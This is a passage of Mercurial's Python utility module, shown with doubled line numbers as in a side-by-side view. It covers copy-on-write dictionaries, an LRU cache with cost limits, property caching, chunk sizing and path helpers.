1239 return cache[args]
1240
1240
1241 return f
1241 return f
1242
1242
1243
1243
1244 class cow(object):
1244 class cow(object):
1245 """helper class to make copy-on-write easier
1245 """helper class to make copy-on-write easier
1246
1246
1247 Call preparewrite before doing any writes.
1247 Call preparewrite before doing any writes.
1248 """
1248 """
1249
1249
1250 def preparewrite(self):
1250 def preparewrite(self):
1251 """call this before writes, return self or a copied new object"""
1251 """call this before writes, return self or a copied new object"""
1252 if getattr(self, '_copied', 0):
1252 if getattr(self, '_copied', 0):
1253 self._copied -= 1
1253 self._copied -= 1
1254 return self.__class__(self)
1254 return self.__class__(self)
1255 return self
1255 return self
1256
1256
1257 def copy(self):
1257 def copy(self):
1258 """always do a cheap copy"""
1258 """always do a cheap copy"""
1259 self._copied = getattr(self, '_copied', 0) + 1
1259 self._copied = getattr(self, '_copied', 0) + 1
1260 return self
1260 return self
1261
1261
1262
1262
1263 class sortdict(collections.OrderedDict):
1263 class sortdict(collections.OrderedDict):
1264 '''a simple sorted dictionary
1264 '''a simple sorted dictionary
1265
1265
1266 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
1266 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
1267 >>> d2 = d1.copy()
1267 >>> d2 = d1.copy()
1268 >>> d2
1268 >>> d2
1269 sortdict([('a', 0), ('b', 1)])
1269 sortdict([('a', 0), ('b', 1)])
1270 >>> d2.update([(b'a', 2)])
1270 >>> d2.update([(b'a', 2)])
1271 >>> list(d2.keys()) # should still be in last-set order
1271 >>> list(d2.keys()) # should still be in last-set order
1272 ['b', 'a']
1272 ['b', 'a']
1273 >>> d1.insert(1, b'a.5', 0.5)
1273 >>> d1.insert(1, b'a.5', 0.5)
1274 >>> d1
1274 >>> d1
1275 sortdict([('a', 0), ('a.5', 0.5), ('b', 1)])
1275 sortdict([('a', 0), ('a.5', 0.5), ('b', 1)])
1276 '''
1276 '''
1277
1277
1278 def __setitem__(self, key, value):
1278 def __setitem__(self, key, value):
1279 if key in self:
1279 if key in self:
1280 del self[key]
1280 del self[key]
1281 super(sortdict, self).__setitem__(key, value)
1281 super(sortdict, self).__setitem__(key, value)
1282
1282
1283 if pycompat.ispypy:
1283 if pycompat.ispypy:
1284 # __setitem__() isn't called as of PyPy 5.8.0
1284 # __setitem__() isn't called as of PyPy 5.8.0
1285 def update(self, src):
1285 def update(self, src):
1286 if isinstance(src, dict):
1286 if isinstance(src, dict):
1287 src = pycompat.iteritems(src)
1287 src = pycompat.iteritems(src)
1288 for k, v in src:
1288 for k, v in src:
1289 self[k] = v
1289 self[k] = v
1290
1290
1291 def insert(self, position, key, value):
1291 def insert(self, position, key, value):
1292 for (i, (k, v)) in enumerate(list(self.items())):
1292 for (i, (k, v)) in enumerate(list(self.items())):
1293 if i == position:
1293 if i == position:
1294 self[key] = value
1294 self[key] = value
1295 if i >= position:
1295 if i >= position:
1296 del self[k]
1296 del self[k]
1297 self[k] = v
1297 self[k] = v
1298
1298
1299
1299
1300 class cowdict(cow, dict):
1300 class cowdict(cow, dict):
1301 """copy-on-write dict
1301 """copy-on-write dict
1302
1302
1303 Be sure to call d = d.preparewrite() before writing to d.
1303 Be sure to call d = d.preparewrite() before writing to d.
1304
1304
1305 >>> a = cowdict()
1305 >>> a = cowdict()
1306 >>> a is a.preparewrite()
1306 >>> a is a.preparewrite()
1307 True
1307 True
1308 >>> b = a.copy()
1308 >>> b = a.copy()
1309 >>> b is a
1309 >>> b is a
1310 True
1310 True
1311 >>> c = b.copy()
1311 >>> c = b.copy()
1312 >>> c is a
1312 >>> c is a
1313 True
1313 True
1314 >>> a = a.preparewrite()
1314 >>> a = a.preparewrite()
1315 >>> b is a
1315 >>> b is a
1316 False
1316 False
1317 >>> a is a.preparewrite()
1317 >>> a is a.preparewrite()
1318 True
1318 True
1319 >>> c = c.preparewrite()
1319 >>> c = c.preparewrite()
1320 >>> b is c
1320 >>> b is c
1321 False
1321 False
1322 >>> b is b.preparewrite()
1322 >>> b is b.preparewrite()
1323 True
1323 True
1324 """
1324 """
1325
1325
1326
1326
1327 class cowsortdict(cow, sortdict):
1327 class cowsortdict(cow, sortdict):
1328 """copy-on-write sortdict
1328 """copy-on-write sortdict
1329
1329
1330 Be sure to call d = d.preparewrite() before writing to d.
1330 Be sure to call d = d.preparewrite() before writing to d.
1331 """
1331 """
1332
1332
1333
1333
1334 class transactional(object): # pytype: disable=ignored-metaclass
1334 class transactional(object): # pytype: disable=ignored-metaclass
1335 """Base class for making a transactional type into a context manager."""
1335 """Base class for making a transactional type into a context manager."""
1336
1336
1337 __metaclass__ = abc.ABCMeta
1337 __metaclass__ = abc.ABCMeta
1338
1338
1339 @abc.abstractmethod
1339 @abc.abstractmethod
1340 def close(self):
1340 def close(self):
1341 """Successfully closes the transaction."""
1341 """Successfully closes the transaction."""
1342
1342
1343 @abc.abstractmethod
1343 @abc.abstractmethod
1344 def release(self):
1344 def release(self):
1345 """Marks the end of the transaction.
1345 """Marks the end of the transaction.
1346
1346
1347 If the transaction has not been closed, it will be aborted.
1347 If the transaction has not been closed, it will be aborted.
1348 """
1348 """
1349
1349
1350 def __enter__(self):
1350 def __enter__(self):
1351 return self
1351 return self
1352
1352
1353 def __exit__(self, exc_type, exc_val, exc_tb):
1353 def __exit__(self, exc_type, exc_val, exc_tb):
1354 try:
1354 try:
1355 if exc_type is None:
1355 if exc_type is None:
1356 self.close()
1356 self.close()
1357 finally:
1357 finally:
1358 self.release()
1358 self.release()
1359
1359
1360
1360
1361 @contextlib.contextmanager
1361 @contextlib.contextmanager
1362 def acceptintervention(tr=None):
1362 def acceptintervention(tr=None):
1363 """A context manager that closes the transaction on InterventionRequired
1363 """A context manager that closes the transaction on InterventionRequired
1364
1364
1365 If no transaction was provided, this simply runs the body and returns
1365 If no transaction was provided, this simply runs the body and returns
1366 """
1366 """
1367 if not tr:
1367 if not tr:
1368 yield
1368 yield
1369 return
1369 return
1370 try:
1370 try:
1371 yield
1371 yield
1372 tr.close()
1372 tr.close()
1373 except error.InterventionRequired:
1373 except error.InterventionRequired:
1374 tr.close()
1374 tr.close()
1375 raise
1375 raise
1376 finally:
1376 finally:
1377 tr.release()
1377 tr.release()
1378
1378
1379
1379
1380 @contextlib.contextmanager
1380 @contextlib.contextmanager
1381 def nullcontextmanager():
1381 def nullcontextmanager():
1382 yield
1382 yield
1383
1383
1384
1384
1385 class _lrucachenode(object):
1385 class _lrucachenode(object):
1386 """A node in a doubly linked list.
1386 """A node in a doubly linked list.
1387
1387
1388 Holds a reference to nodes on either side as well as a key-value
1388 Holds a reference to nodes on either side as well as a key-value
1389 pair for the dictionary entry.
1389 pair for the dictionary entry.
1390 """
1390 """
1391
1391
1392 __slots__ = ('next', 'prev', 'key', 'value', 'cost')
1392 __slots__ = ('next', 'prev', 'key', 'value', 'cost')
1393
1393
1394 def __init__(self):
1394 def __init__(self):
1395 self.next = None
1395 self.next = None
1396 self.prev = None
1396 self.prev = None
1397
1397
1398 self.key = _notset
1398 self.key = _notset
1399 self.value = None
1399 self.value = None
1400 self.cost = 0
1400 self.cost = 0
1401
1401
1402 def markempty(self):
1402 def markempty(self):
1403 """Mark the node as emptied."""
1403 """Mark the node as emptied."""
1404 self.key = _notset
1404 self.key = _notset
1405 self.value = None
1405 self.value = None
1406 self.cost = 0
1406 self.cost = 0
1407
1407
1408
1408
1409 class lrucachedict(object):
1409 class lrucachedict(object):
1410 """Dict that caches most recent accesses and sets.
1410 """Dict that caches most recent accesses and sets.
1411
1411
1412 The dict consists of an actual backing dict - indexed by original
1412 The dict consists of an actual backing dict - indexed by original
1413 key - and a doubly linked circular list defining the order of entries in
1413 key - and a doubly linked circular list defining the order of entries in
1414 the cache.
1414 the cache.
1415
1415
1416 The head node is the newest entry in the cache. If the cache is full,
1416 The head node is the newest entry in the cache. If the cache is full,
1417 we recycle head.prev and make it the new head. Cache accesses result in
1417 we recycle head.prev and make it the new head. Cache accesses result in
1418 the node being moved to before the existing head and being marked as the
1418 the node being moved to before the existing head and being marked as the
1419 new head node.
1419 new head node.
1420
1420
1421 Items in the cache can be inserted with an optional "cost" value. This is
1421 Items in the cache can be inserted with an optional "cost" value. This is
1422 simply an integer that is specified by the caller. The cache can be queried
1422 simply an integer that is specified by the caller. The cache can be queried
1423 for the total cost of all items presently in the cache.
1423 for the total cost of all items presently in the cache.
1424
1424
1425 The cache can also define a maximum cost. If a cache insertion would
1425 The cache can also define a maximum cost. If a cache insertion would
1426 cause the total cost of the cache to go beyond the maximum cost limit,
1426 cause the total cost of the cache to go beyond the maximum cost limit,
1427 nodes will be evicted to make room for the new code. This can be used
1427 nodes will be evicted to make room for the new code. This can be used
1428 to e.g. set a max memory limit and associate an estimated bytes size
1428 to e.g. set a max memory limit and associate an estimated bytes size
1429 cost to each item in the cache. By default, no maximum cost is enforced.
1429 cost to each item in the cache. By default, no maximum cost is enforced.
1430 """
1430 """
1431
1431
1432 def __init__(self, max, maxcost=0):
1432 def __init__(self, max, maxcost=0):
1433 self._cache = {}
1433 self._cache = {}
1434
1434
1435 self._head = head = _lrucachenode()
1435 self._head = head = _lrucachenode()
1436 head.prev = head
1436 head.prev = head
1437 head.next = head
1437 head.next = head
1438 self._size = 1
1438 self._size = 1
1439 self.capacity = max
1439 self.capacity = max
1440 self.totalcost = 0
1440 self.totalcost = 0
1441 self.maxcost = maxcost
1441 self.maxcost = maxcost
1442
1442
1443 def __len__(self):
1443 def __len__(self):
1444 return len(self._cache)
1444 return len(self._cache)
1445
1445
1446 def __contains__(self, k):
1446 def __contains__(self, k):
1447 return k in self._cache
1447 return k in self._cache
1448
1448
1449 def __iter__(self):
1449 def __iter__(self):
1450 # We don't have to iterate in cache order, but why not.
1450 # We don't have to iterate in cache order, but why not.
1451 n = self._head
1451 n = self._head
1452 for i in range(len(self._cache)):
1452 for i in range(len(self._cache)):
1453 yield n.key
1453 yield n.key
1454 n = n.next
1454 n = n.next
1455
1455
1456 def __getitem__(self, k):
1456 def __getitem__(self, k):
1457 node = self._cache[k]
1457 node = self._cache[k]
1458 self._movetohead(node)
1458 self._movetohead(node)
1459 return node.value
1459 return node.value
1460
1460
1461 def insert(self, k, v, cost=0):
1461 def insert(self, k, v, cost=0):
1462 """Insert a new item in the cache with optional cost value."""
1462 """Insert a new item in the cache with optional cost value."""
1463 node = self._cache.get(k)
1463 node = self._cache.get(k)
1464 # Replace existing value and mark as newest.
1464 # Replace existing value and mark as newest.
1465 if node is not None:
1465 if node is not None:
1466 self.totalcost -= node.cost
1466 self.totalcost -= node.cost
1467 node.value = v
1467 node.value = v
1468 node.cost = cost
1468 node.cost = cost
1469 self.totalcost += cost
1469 self.totalcost += cost
1470 self._movetohead(node)
1470 self._movetohead(node)
1471
1471
1472 if self.maxcost:
1472 if self.maxcost:
1473 self._enforcecostlimit()
1473 self._enforcecostlimit()
1474
1474
1475 return
1475 return
1476
1476
1477 if self._size < self.capacity:
1477 if self._size < self.capacity:
1478 node = self._addcapacity()
1478 node = self._addcapacity()
1479 else:
1479 else:
1480 # Grab the last/oldest item.
1480 # Grab the last/oldest item.
1481 node = self._head.prev
1481 node = self._head.prev
1482
1482
1483 # At capacity. Kill the old entry.
1483 # At capacity. Kill the old entry.
1484 if node.key is not _notset:
1484 if node.key is not _notset:
1485 self.totalcost -= node.cost
1485 self.totalcost -= node.cost
1486 del self._cache[node.key]
1486 del self._cache[node.key]
1487
1487
1488 node.key = k
1488 node.key = k
1489 node.value = v
1489 node.value = v
1490 node.cost = cost
1490 node.cost = cost
1491 self.totalcost += cost
1491 self.totalcost += cost
1492 self._cache[k] = node
1492 self._cache[k] = node
1493 # And mark it as newest entry. No need to adjust order since it
1493 # And mark it as newest entry. No need to adjust order since it
1494 # is already self._head.prev.
1494 # is already self._head.prev.
1495 self._head = node
1495 self._head = node
1496
1496
1497 if self.maxcost:
1497 if self.maxcost:
1498 self._enforcecostlimit()
1498 self._enforcecostlimit()
1499
1499
1500 def __setitem__(self, k, v):
1500 def __setitem__(self, k, v):
1501 self.insert(k, v)
1501 self.insert(k, v)
1502
1502
1503 def __delitem__(self, k):
1503 def __delitem__(self, k):
1504 self.pop(k)
1504 self.pop(k)
1505
1505
1506 def pop(self, k, default=_notset):
1506 def pop(self, k, default=_notset):
1507 try:
1507 try:
1508 node = self._cache.pop(k)
1508 node = self._cache.pop(k)
1509 except KeyError:
1509 except KeyError:
1510 if default is _notset:
1510 if default is _notset:
1511 raise
1511 raise
1512 return default
1512 return default
1513
1513
1514 assert node is not None # help pytype
1514 assert node is not None # help pytype
1515 value = node.value
1515 value = node.value
1516 self.totalcost -= node.cost
1516 self.totalcost -= node.cost
1517 node.markempty()
1517 node.markempty()
1518
1518
1519 # Temporarily mark as newest item before re-adjusting head to make
1519 # Temporarily mark as newest item before re-adjusting head to make
1520 # this node the oldest item.
1520 # this node the oldest item.
1521 self._movetohead(node)
1521 self._movetohead(node)
1522 self._head = node.next
1522 self._head = node.next
1523
1523
1524 return value
1524 return value
1525
1525
1526 # Additional dict methods.
1526 # Additional dict methods.
1527
1527
1528 def get(self, k, default=None):
1528 def get(self, k, default=None):
1529 try:
1529 try:
1530 return self.__getitem__(k)
1530 return self.__getitem__(k)
1531 except KeyError:
1531 except KeyError:
1532 return default
1532 return default
1533
1533
1534 def peek(self, k, default=_notset):
1534 def peek(self, k, default=_notset):
1535 """Get the specified item without moving it to the head
1535 """Get the specified item without moving it to the head
1536
1536
1537 Unlike get(), this doesn't mutate the internal state. But be aware
1537 Unlike get(), this doesn't mutate the internal state. But be aware
1538 that it doesn't mean peek() is thread safe.
1538 that it doesn't mean peek() is thread safe.
1539 """
1539 """
1540 try:
1540 try:
1541 node = self._cache[k]
1541 node = self._cache[k]
1542 return node.value
1542 return node.value
1543 except KeyError:
1543 except KeyError:
1544 if default is _notset:
1544 if default is _notset:
1545 raise
1545 raise
1546 return default
1546 return default
1547
1547
1548 def clear(self):
1548 def clear(self):
1549 n = self._head
1549 n = self._head
1550 while n.key is not _notset:
1550 while n.key is not _notset:
1551 self.totalcost -= n.cost
1551 self.totalcost -= n.cost
1552 n.markempty()
1552 n.markempty()
1553 n = n.next
1553 n = n.next
1554
1554
1555 self._cache.clear()
1555 self._cache.clear()
1556
1556
1557 def copy(self, capacity=None, maxcost=0):
1557 def copy(self, capacity=None, maxcost=0):
1558 """Create a new cache as a copy of the current one.
1558 """Create a new cache as a copy of the current one.
1559
1559
1560 By default, the new cache has the same capacity as the existing one.
1560 By default, the new cache has the same capacity as the existing one.
1561 But, the cache capacity can be changed as part of performing the
1561 But, the cache capacity can be changed as part of performing the
1562 copy.
1562 copy.
1563
1563
1564 Items in the copy have an insertion/access order matching this
1564 Items in the copy have an insertion/access order matching this
1565 instance.
1565 instance.
1566 """
1566 """
1567
1567
1568 capacity = capacity or self.capacity
1568 capacity = capacity or self.capacity
1569 maxcost = maxcost or self.maxcost
1569 maxcost = maxcost or self.maxcost
1570 result = lrucachedict(capacity, maxcost=maxcost)
1570 result = lrucachedict(capacity, maxcost=maxcost)
1571
1571
1572 # We copy entries by iterating in oldest-to-newest order so the copy
1572 # We copy entries by iterating in oldest-to-newest order so the copy
1573 # has the correct ordering.
1573 # has the correct ordering.
1574
1574
1575 # Find the first non-empty entry.
1575 # Find the first non-empty entry.
1576 n = self._head.prev
1576 n = self._head.prev
1577 while n.key is _notset and n is not self._head:
1577 while n.key is _notset and n is not self._head:
1578 n = n.prev
1578 n = n.prev
1579
1579
1580 # We could potentially skip the first N items when decreasing capacity.
1580 # We could potentially skip the first N items when decreasing capacity.
1581 # But let's keep it simple unless it is a performance problem.
1581 # But let's keep it simple unless it is a performance problem.
1582 for i in range(len(self._cache)):
1582 for i in range(len(self._cache)):
1583 result.insert(n.key, n.value, cost=n.cost)
1583 result.insert(n.key, n.value, cost=n.cost)
1584 n = n.prev
1584 n = n.prev
1585
1585
1586 return result
1586 return result
1587
1587
1588 def popoldest(self):
1588 def popoldest(self):
1589 """Remove the oldest item from the cache.
1589 """Remove the oldest item from the cache.
1590
1590
1591 Returns the (key, value) describing the removed cache entry.
1591 Returns the (key, value) describing the removed cache entry.
1592 """
1592 """
1593 if not self._cache:
1593 if not self._cache:
1594 return
1594 return
1595
1595
1596 # Walk the linked list backwards starting at tail node until we hit
1596 # Walk the linked list backwards starting at tail node until we hit
1597 # a non-empty node.
1597 # a non-empty node.
1598 n = self._head.prev
1598 n = self._head.prev
1599 while n.key is _notset:
1599 while n.key is _notset:
1600 n = n.prev
1600 n = n.prev
1601
1601
1602 assert n is not None # help pytype
1602 assert n is not None # help pytype
1603
1603
1604 key, value = n.key, n.value
1604 key, value = n.key, n.value
1605
1605
1606 # And remove it from the cache and mark it as empty.
1606 # And remove it from the cache and mark it as empty.
1607 del self._cache[n.key]
1607 del self._cache[n.key]
1608 self.totalcost -= n.cost
1608 self.totalcost -= n.cost
1609 n.markempty()
1609 n.markempty()
1610
1610
1611 return key, value
1611 return key, value
1612
1612
1613 def _movetohead(self, node):
1613 def _movetohead(self, node):
1614 """Mark a node as the newest, making it the new head.
1614 """Mark a node as the newest, making it the new head.
1615
1615
1616 When a node is accessed, it becomes the freshest entry in the LRU
1616 When a node is accessed, it becomes the freshest entry in the LRU
1617 list, which is denoted by self._head.
1617 list, which is denoted by self._head.
1618
1618
1619 Visually, let's make ``N`` the new head node (* denotes head):
1619 Visually, let's make ``N`` the new head node (* denotes head):
1620
1620
1621 previous/oldest <-> head <-> next/next newest
1621 previous/oldest <-> head <-> next/next newest
1622
1622
1623 ----<->--- A* ---<->-----
1623 ----<->--- A* ---<->-----
1624 | |
1624 | |
1625 E <-> D <-> N <-> C <-> B
1625 E <-> D <-> N <-> C <-> B
1626
1626
1627 To:
1627 To:
1628
1628
1629 ----<->--- N* ---<->-----
1629 ----<->--- N* ---<->-----
1630 | |
1630 | |
1631 E <-> D <-> C <-> B <-> A
1631 E <-> D <-> C <-> B <-> A
1632
1632
1633 This requires the following moves:
1633 This requires the following moves:
1634
1634
1635 C.next = D (node.prev.next = node.next)
1635 C.next = D (node.prev.next = node.next)
1636 D.prev = C (node.next.prev = node.prev)
1636 D.prev = C (node.next.prev = node.prev)
1637 E.next = N (head.prev.next = node)
1637 E.next = N (head.prev.next = node)
1638 N.prev = E (node.prev = head.prev)
1638 N.prev = E (node.prev = head.prev)
1639 N.next = A (node.next = head)
1639 N.next = A (node.next = head)
1640 A.prev = N (head.prev = node)
1640 A.prev = N (head.prev = node)
1641 """
1641 """
1642 head = self._head
1642 head = self._head
1643 # C.next = D
1643 # C.next = D
1644 node.prev.next = node.next
1644 node.prev.next = node.next
1645 # D.prev = C
1645 # D.prev = C
1646 node.next.prev = node.prev
1646 node.next.prev = node.prev
1647 # N.prev = E
1647 # N.prev = E
1648 node.prev = head.prev
1648 node.prev = head.prev
1649 # N.next = A
1649 # N.next = A
1650 # It is tempting to do just "head" here, however if node is
1650 # It is tempting to do just "head" here, however if node is
1651 # adjacent to head, this will do bad things.
1651 # adjacent to head, this will do bad things.
1652 node.next = head.prev.next
1652 node.next = head.prev.next
1653 # E.next = N
1653 # E.next = N
1654 node.next.prev = node
1654 node.next.prev = node
1655 # A.prev = N
1655 # A.prev = N
1656 node.prev.next = node
1656 node.prev.next = node
1657
1657
1658 self._head = node
1658 self._head = node
1659
1659
1660 def _addcapacity(self):
1660 def _addcapacity(self):
1661 """Add a node to the circular linked list.
1661 """Add a node to the circular linked list.
1662
1662
1663 The new node is inserted before the head node.
1663 The new node is inserted before the head node.
1664 """
1664 """
1665 head = self._head
1665 head = self._head
1666 node = _lrucachenode()
1666 node = _lrucachenode()
1667 head.prev.next = node
1667 head.prev.next = node
1668 node.prev = head.prev
1668 node.prev = head.prev
1669 node.next = head
1669 node.next = head
1670 head.prev = node
1670 head.prev = node
1671 self._size += 1
1671 self._size += 1
1672 return node
1672 return node
1673
1673
1674 def _enforcecostlimit(self):
1674 def _enforcecostlimit(self):
1675 # This should run after an insertion. It should only be called if total
1675 # This should run after an insertion. It should only be called if total
1676 # cost limits are being enforced.
1676 # cost limits are being enforced.
1677 # The most recently inserted node is never evicted.
1677 # The most recently inserted node is never evicted.
1678 if len(self) <= 1 or self.totalcost <= self.maxcost:
1678 if len(self) <= 1 or self.totalcost <= self.maxcost:
1679 return
1679 return
1680
1680
1681 # This is logically equivalent to calling popoldest() until we
1681 # This is logically equivalent to calling popoldest() until we
1682 # free up enough cost. We don't do that since popoldest() needs
1682 # free up enough cost. We don't do that since popoldest() needs
1683 # to walk the linked list and doing this in a loop would be
1683 # to walk the linked list and doing this in a loop would be
1684 # quadratic. So we find the first non-empty node and then
1684 # quadratic. So we find the first non-empty node and then
1685 # walk nodes until we free up enough capacity.
1685 # walk nodes until we free up enough capacity.
1686 #
1686 #
1687 # If we only removed the minimum number of nodes to free enough
1687 # If we only removed the minimum number of nodes to free enough
1688 # cost at insert time, chances are high that the next insert would
1688 # cost at insert time, chances are high that the next insert would
1689 # also require pruning. This would effectively constitute quadratic
1689 # also require pruning. This would effectively constitute quadratic
1690 # behavior for insert-heavy workloads. To mitigate this, we set a
1690 # behavior for insert-heavy workloads. To mitigate this, we set a
1691 # target cost that is a percentage of the max cost. This will tend
1691 # target cost that is a percentage of the max cost. This will tend
1692 # to free more nodes when the high water mark is reached, which
1692 # to free more nodes when the high water mark is reached, which
1693 # lowers the chances of needing to prune on the subsequent insert.
1693 # lowers the chances of needing to prune on the subsequent insert.
1694 targetcost = int(self.maxcost * 0.75)
1694 targetcost = int(self.maxcost * 0.75)
1695
1695
1696 n = self._head.prev
1696 n = self._head.prev
1697 while n.key is _notset:
1697 while n.key is _notset:
1698 n = n.prev
1698 n = n.prev
1699
1699
1700 while len(self) > 1 and self.totalcost > targetcost:
1700 while len(self) > 1 and self.totalcost > targetcost:
1701 del self._cache[n.key]
1701 del self._cache[n.key]
1702 self.totalcost -= n.cost
1702 self.totalcost -= n.cost
1703 n.markempty()
1703 n.markempty()
1704 n = n.prev
1704 n = n.prev
1705
1705
1706
1706
1707 def lrucachefunc(func):
1707 def lrucachefunc(func):
1708 '''cache most recent results of function calls'''
1708 '''cache most recent results of function calls'''
1709 cache = {}
1709 cache = {}
1710 order = collections.deque()
1710 order = collections.deque()
1711 if func.__code__.co_argcount == 1:
1711 if func.__code__.co_argcount == 1:
1712
1712
1713 def f(arg):
1713 def f(arg):
1714 if arg not in cache:
1714 if arg not in cache:
1715 if len(cache) > 20:
1715 if len(cache) > 20:
1716 del cache[order.popleft()]
1716 del cache[order.popleft()]
1717 cache[arg] = func(arg)
1717 cache[arg] = func(arg)
1718 else:
1718 else:
1719 order.remove(arg)
1719 order.remove(arg)
1720 order.append(arg)
1720 order.append(arg)
1721 return cache[arg]
1721 return cache[arg]
1722
1722
1723 else:
1723 else:
1724
1724
1725 def f(*args):
1725 def f(*args):
1726 if args not in cache:
1726 if args not in cache:
1727 if len(cache) > 20:
1727 if len(cache) > 20:
1728 del cache[order.popleft()]
1728 del cache[order.popleft()]
1729 cache[args] = func(*args)
1729 cache[args] = func(*args)
1730 else:
1730 else:
1731 order.remove(args)
1731 order.remove(args)
1732 order.append(args)
1732 order.append(args)
1733 return cache[args]
1733 return cache[args]
1734
1734
1735 return f
1735 return f
1736
1736
1737
1737
1738 class propertycache(object):
1738 class propertycache(object):
1739 def __init__(self, func):
1739 def __init__(self, func):
1740 self.func = func
1740 self.func = func
1741 self.name = func.__name__
1741 self.name = func.__name__
1742
1742
1743 def __get__(self, obj, type=None):
1743 def __get__(self, obj, type=None):
1744 result = self.func(obj)
1744 result = self.func(obj)
1745 self.cachevalue(obj, result)
1745 self.cachevalue(obj, result)
1746 return result
1746 return result
1747
1747
1748 def cachevalue(self, obj, value):
1748 def cachevalue(self, obj, value):
1749 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
1749 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
1750 obj.__dict__[self.name] = value
1750 obj.__dict__[self.name] = value
1751
1751
1752
1752
1753 def clearcachedproperty(obj, prop):
1753 def clearcachedproperty(obj, prop):
1754 '''clear a cached property value, if one has been set'''
1754 '''clear a cached property value, if one has been set'''
1755 prop = pycompat.sysstr(prop)
1755 prop = pycompat.sysstr(prop)
1756 if prop in obj.__dict__:
1756 if prop in obj.__dict__:
1757 del obj.__dict__[prop]
1757 del obj.__dict__[prop]
1758
1758
1759
1759
1760 def increasingchunks(source, min=1024, max=65536):
1760 def increasingchunks(source, min=1024, max=65536):
1761 '''return no less than min bytes per chunk while data remains,
1761 '''return no less than min bytes per chunk while data remains,
1762 doubling min after each chunk until it reaches max'''
1762 doubling min after each chunk until it reaches max'''
1763
1763
1764 def log2(x):
1764 def log2(x):
1765 if not x:
1765 if not x:
1766 return 0
1766 return 0
1767 i = 0
1767 i = 0
1768 while x:
1768 while x:
1769 x >>= 1
1769 x >>= 1
1770 i += 1
1770 i += 1
1771 return i - 1
1771 return i - 1
1772
1772
1773 buf = []
1773 buf = []
1774 blen = 0
1774 blen = 0
1775 for chunk in source:
1775 for chunk in source:
1776 buf.append(chunk)
1776 buf.append(chunk)
1777 blen += len(chunk)
1777 blen += len(chunk)
1778 if blen >= min:
1778 if blen >= min:
1779 if min < max:
1779 if min < max:
1780 min = min << 1
1780 min = min << 1
1781 nmin = 1 << log2(blen)
1781 nmin = 1 << log2(blen)
1782 if nmin > min:
1782 if nmin > min:
1783 min = nmin
1783 min = nmin
1784 if min > max:
1784 if min > max:
1785 min = max
1785 min = max
1786 yield b''.join(buf)
1786 yield b''.join(buf)
1787 blen = 0
1787 blen = 0
1788 buf = []
1788 buf = []
1789 if buf:
1789 if buf:
1790 yield b''.join(buf)
1790 yield b''.join(buf)
1791
1791
1792
1792
1793 def always(fn):
1793 def always(fn):
1794 return True
1794 return True
1795
1795
1796
1796
1797 def never(fn):
1797 def never(fn):
1798 return False
1798 return False
1799
1799
1800
1800
1801 def nogc(func):
1801 def nogc(func):
1802 """disable garbage collector
1802 """disable garbage collector
1803
1803
1804 Python's garbage collector triggers a GC each time a certain number of
1804 Python's garbage collector triggers a GC each time a certain number of
1805 container objects (the number being defined by gc.get_threshold()) are
1805 container objects (the number being defined by gc.get_threshold()) are
1806 allocated even when marked not to be tracked by the collector. Tracking has
1806 allocated even when marked not to be tracked by the collector. Tracking has
1807 no effect on when GCs are triggered, only on what objects the GC looks
1807 no effect on when GCs are triggered, only on what objects the GC looks
1808 into. As a workaround, disable GC while building complex (huge)
1808 into. As a workaround, disable GC while building complex (huge)
1809 containers.
1809 containers.
1810
1810
1811 This garbage collector issue have been fixed in 2.7. But it still affect
1811 This garbage collector issue have been fixed in 2.7. But it still affect
1812 CPython's performance.
1812 CPython's performance.
1813 """
1813 """
1814
1814
1815 def wrapper(*args, **kwargs):
1815 def wrapper(*args, **kwargs):
1816 gcenabled = gc.isenabled()
1816 gcenabled = gc.isenabled()
1817 gc.disable()
1817 gc.disable()
1818 try:
1818 try:
1819 return func(*args, **kwargs)
1819 return func(*args, **kwargs)
1820 finally:
1820 finally:
1821 if gcenabled:
1821 if gcenabled:
1822 gc.enable()
1822 gc.enable()
1823
1823
1824 return wrapper
1824 return wrapper
1825
1825
1826
1826
1827 if pycompat.ispypy:
1827 if pycompat.ispypy:
1828 # PyPy runs slower with gc disabled
1828 # PyPy runs slower with gc disabled
1829 nogc = lambda x: x
1829 nogc = lambda x: x
1830
1830
1831
1831
1832 def pathto(root, n1, n2):
1832 def pathto(root, n1, n2):
1833 '''return the relative path from one place to another.
1833 '''return the relative path from one place to another.
1834 root should use os.sep to separate directories
1834 root should use os.sep to separate directories
1835 n1 should use os.sep to separate directories
1835 n1 should use os.sep to separate directories
1836 n2 should use "/" to separate directories
1836 n2 should use "/" to separate directories
1837 returns an os.sep-separated path.
1837 returns an os.sep-separated path.
1838
1838
1839 If n1 is a relative path, it's assumed it's
1839 If n1 is a relative path, it's assumed it's
1840 relative to root.
1840 relative to root.
1841 n2 should always be relative to root.
1841 n2 should always be relative to root.
1842 '''
1842 '''
1843 if not n1:
1843 if not n1:
1844 return localpath(n2)
1844 return localpath(n2)
1845 if os.path.isabs(n1):
1845 if os.path.isabs(n1):
1846 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
1846 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
1847 return os.path.join(root, localpath(n2))
1847 return os.path.join(root, localpath(n2))
1848 n2 = b'/'.join((pconvert(root), n2))
1848 n2 = b'/'.join((pconvert(root), n2))
1849 a, b = splitpath(n1), n2.split(b'/')
1849 a, b = splitpath(n1), n2.split(b'/')
1850 a.reverse()
1850 a.reverse()
1851 b.reverse()
1851 b.reverse()
1852 while a and b and a[-1] == b[-1]:
1852 while a and b and a[-1] == b[-1]:
1853 a.pop()
1853 a.pop()
1854 b.pop()
1854 b.pop()
1855 b.reverse()
1855 b.reverse()
1856 return pycompat.ossep.join(([b'..'] * len(a)) + b) or b'.'
1856 return pycompat.ossep.join(([b'..'] * len(a)) + b) or b'.'
1857
1857
1858
1858
1859 def checksignature(func, depth=1):
1859 def checksignature(func, depth=1):
1860 '''wrap a function with code to check for calling errors'''
1860 '''wrap a function with code to check for calling errors'''
1861
1861
1862 def check(*args, **kwargs):
1862 def check(*args, **kwargs):
1863 try:
1863 try:
1864 return func(*args, **kwargs)
1864 return func(*args, **kwargs)
1865 except TypeError:
1865 except TypeError:
1866 if len(traceback.extract_tb(sys.exc_info()[2])) == depth:
1866 if len(traceback.extract_tb(sys.exc_info()[2])) == depth:
1867 raise error.SignatureError
1867 raise error.SignatureError
1868 raise
1868 raise
1869
1869
1870 return check
1870 return check
1871
1871
1872
1872
1873 # a whilelist of known filesystems where hardlink works reliably
